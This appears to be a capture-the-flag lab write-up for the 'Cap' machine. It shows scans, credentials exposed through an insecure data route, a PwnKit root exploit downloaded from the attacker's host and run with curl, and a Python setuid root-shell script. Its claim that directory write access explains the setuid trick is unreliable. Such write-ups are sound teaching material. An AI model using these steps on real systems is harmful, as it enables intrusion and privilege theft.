Enumeration
The initial reconnaissance of the Linux target, 10.129.142.146, revealed three open ports: 21 (FTP) running vsftpd 3.0.3, 22 (SSH) running OpenSSH 8.2p1, and 80 (HTTP) running the Gunicorn web server hosting a “Security Dashboard.” The presence of multiple services and a custom web application suggested several potential avenues for attack.
# [-p-] Scan all ports
# [-sS] Stealth SYN scan
# [-Pn] Skip host discovery
┌──(jquirozz㉿jquirozz.com)-[~/htb/cap]
└─$ nmap -p- -sS -Pn --min-rate=1000 10.129.142.146
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http
# [-p21,22,80] Scan only these 3 ports
# [-sCV] to enable version detection and script scanning
┌──(jquirozz㉿jquirozz.com)-[~/htb/cap]
└─$ nmap -p21,22,80 -sCV --min-rate=1000 10.129.142.146
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 fa:80:a9:b2:ca:3b:88:69:a4:28:9e:39:0d:27:d5:75 (RSA)
| 256 96:d8:f8:e3:e8:f7:71:36:c5:49:d5:9d:b6:a4:c9:0c (ECDSA)
|_ 256 3f:d0:ff:91:eb:3b:f6:e1:9f:2e:8d:de:b3:de:b2:18 (ED25519)
80/tcp open http Gunicorn
|_http-server-header: gunicorn
|_http-title: Security Dashboard
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Exploitation
The exploitation phase focused on the web application on port 80. By manipulating the “data/:id” route, it was possible to download a Packet Capture (PCAP) file from the route “data/0” which was not intended for the current user. Analyzing this PCAP file in Wireshark revealed plain-text FTP credentials for the user nathan: nathan:Buck3tH4TF0RM3!. These credentials were used to successfully log in to both the FTP service to retrieve the user.txt flag and the SSH service for an interactive shell as the low-privileged user nathan.



# Loggin to FTP with the discovered credentials
┌──(jquirozz㉿jquirozz.com)-[~/htb/cap]
└─$ ftp nathan@10.129.142.146
Password: Buck3tH4TF0RM3!
230 Login successful.
ftp> pwd
Remote directory: /home/nathan
ftp> ls
-r-------- 1 1001 1001 33 Aug 04 18:25 user.txt
# Download "user.txt" to our local/attacker machine
ftp> get user.txt
226 Transfer complete.
ftp> exit
221 Goodbye.
┌──(jquirozz㉿jquirozz.com)-[~/htb/cap]
└─$ ls
scan.nmap user.txt
┌──(jquirozz㉿jquirozz.com)-[~/htb/cap]
└─$ cat user.txt
44*****************************46
# Trying the same credentials for SSH
┌──(jquirozz㉿jquirozz.com)-[~/htb/cap]
└─$ ssh nathan@10.129.142.146
nathan@10.129.142.146's password: Buck3tH4TF0RM3!
nathan@cap:~$ id
uid=1001(nathan) gid=1001(nathan) groups=1001(nathan)
Privilege Escalation
Privilege escalation was first attempted using automated tools. The LinPEAS script was transferred to the target via an HTTP server and executed. LinPEAS quickly highlighted a critical vulnerability: the presence of the pkexec binary with the SUID bit set and the system running a version vulnerable to CVE-2021-4034 (PwnKit). The corresponding PwnKit exploit binary was downloaded on the attacker machine, transferred to the target, and executed. This instantly provided a root shell, allowing the attacker to retrieve the final root.txt flag from the /root directory.
# Download the LinPEAS script to our local machine.
┌──(jquirozz㉿jquirozz.com)-[~/htb/cap/exploits]
└─$ wget https://github.com/peass-ng/PEASS-ng/releases/download/20250801-03e73bf3/linpeas.sh
┌──(jquirozz㉿jquirozz.com)-[~/htb/cap/exploits]
└─$ ls -l
-rw-rw-r-- 1 kali kali 956174 Aug 1 00:07 linpeas.sh
# Creating an http server to share the 'linpeas.sh' file
┌──(jquirozz㉿jquirozz.com)-[~/htb/cap/exploits]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/)
# Download the LinPEAS file from our local HTTP server to the target machine
nathan@cap:~$ curl -O http://10.10.14.25/linpeas.sh
# Giving execution permission to the script file
nathan@cap:~$ chmod +x linpeas.sh
nathan@cap:~$ ls -l
-rw-rw-r-- 1 nathan nathan 956174 Aug 4 19:05 linpeas.sh
# Execute the LinPEAS script
nathan@cap:~$ ./linpeas.sh
[+] [CVE-2021-4034] PwnKit
Details: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt
Download URL: https://codeload.github.com/berdav/CVE-2021-4034/zip/main
Polkit Binary
Pkexec binary found at: /usr/bin/pkexec
Pkexec binary has SUID bit set!
-rwsr-xr-x 1 root root 31032 Aug 16 2019 /usr/bin/pkexec
pkexec version 0.105
# Download the PwnKit exploit from GitHub in the attacker machine
┌──(jquirozz㉿jquirozz.com)-[~/htb/cap/exploits]
└─$ git clone https://github.com/ly4k/PwnKit
┌──(jquirozz㉿jquirozz.com)-[~/htb/cap/exploits]
└─$ cd PwnKit
┌──(jquirozz㉿jquirozz.com)-[~/htb/cap/exploits/PwnKit]
└─$ ls -l
-rwxrwxr-x 1 kali kali 18040 Aug 4 14:18 PwnKit
# Now, we can serve the PwnKit binary from our local HTTP server
nathan@cap:~$ curl -O http://10.10.14.25/PwnKit/PwnKit
# Execution permission for the binary
nathan@cap:~$ chmod +x PwnKit
nathan@cap:~$ ls -l
-rwxrwxr-x 1 nathan nathan 18040 Aug 4 19:24 PwnKit
-rwxrwxr-x 1 nathan nathan 956174 Aug 4 19:05 linpeas.sh
drwxr-xr-x 3 nathan nathan 4096 Aug 4 19:06 snap
-r-------- 1 nathan nathan 33 Aug 4 18:25 user.txt
# Run the PwnKit binary to escalate our privileges to root.
nathan@cap:~$ ./PwnKit
root@cap:/home/nathan# whoami
root
root@cap:/home/nathan# cd /root
root@cap:~# ls -l
-r-------- 1 root root 33 Aug 4 18:25 root.txt
drwxr-xr-x 3 root root 4096 May 23 2021 snap
root@cap:~# cat root.txt
c7*****************************36
Alternative Privilege Escalation
An alternative path to root was discovered through code review of the web application’s source code, specifically the /var/www/html/app.py file. The application used a “hacky” solution within the /capture route to run the tcpdump command with root privileges by executing os.setuid(0) via an os.system() call. Since the user nathan had write access to this directory, a custom Python script, exploit.py, was created in the /var/www/html directory. This script simply executed os.setuid(0) followed by os.system(“/bin/bash”). Executing python3 exploit.py successfully bypassed the permissions checks and granted a root shell directly, leading to the same root flag. This demonstrated a critical misconfiguration in the web application’s permission handling.
nathan@cap:~$ cd /var/www/html/
nathan@cap:/var/www/html$ ls -l
drwxr-xr-x 2 nathan nathan 4096 May 27 2021 __pycache__
-rw-r--r-- 1 nathan nathan 4293 May 25 2021 app.py
drwxr-xr-x 6 root root 4096 May 23 2021 static
drwxr-xr-x 2 root root 4096 May 23 2021 templates
drwxr-xr-x 2 root root 4096 Aug 4 18:48 upload
nathan@cap:/var/www/html$ nano app.py
Checking the vulnerable code
#!/usr/bin/python3
import os
from flask import *
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
...
...
...
@app.route("/capture")
@limiter.limit("10 per minute")
def capture():
get_lock()
pcapid = get_appid()
increment_appid()
release_lock()
path = os.path.join(app.root_path, "upload", str(pcapid) + ".pcap")
ip = request.remote_addr
# permissions issues with gunicorn and threads. hacky solution for now.
#os.setuid(0)
#command = f"timeout 5 tcpdump -w {path} -i any host {ip}"
command = f"""python3 -c 'import os; os.setuid(0); os.system("timeout 5 tcpdump -w {path} -i any host {ip}")'"""
os.system(command)
#os.setuid(1000)
return redirect("/data/" + str(pcapid))
Create a python file containing the following script
#!/usr/bin/python3
import os
os.setuid(0)
os.system("/bin/bash")
Execute the script to gain root access
nathan@cap:/var/www/html$ ls -l
drwxr-xr-x 2 nathan nathan 4096 May 27 2021 __pycache__
-rw-r--r-- 1 nathan nathan 4293 May 25 2021 app.py
-rw-rw-r-- 1 nathan nathan 65 Aug 4 19:41 exploit.py
drwxr-xr-x 6 root root 4096 May 23 2021 static
drwxr-xr-x 2 root root 4096 May 23 2021 templates
drwxr-xr-x 2 root root 4096 Aug 4 18:48 upload
nathan@cap:/var/www/html$ python3 exploit.py
root@cap:/var/www/html# id
uid=0(root) gid=1001(nathan) groups=1001(nathan)
root@cap:~# cd /root
root@cap:/root# ls -l
-r-------- 1 root root 33 Aug 4 18:25 root.txt
drwxr-xr-x 3 root root 4096 May 23 2021 snap
root@cap:/root# cat root.txt
c7*****************************36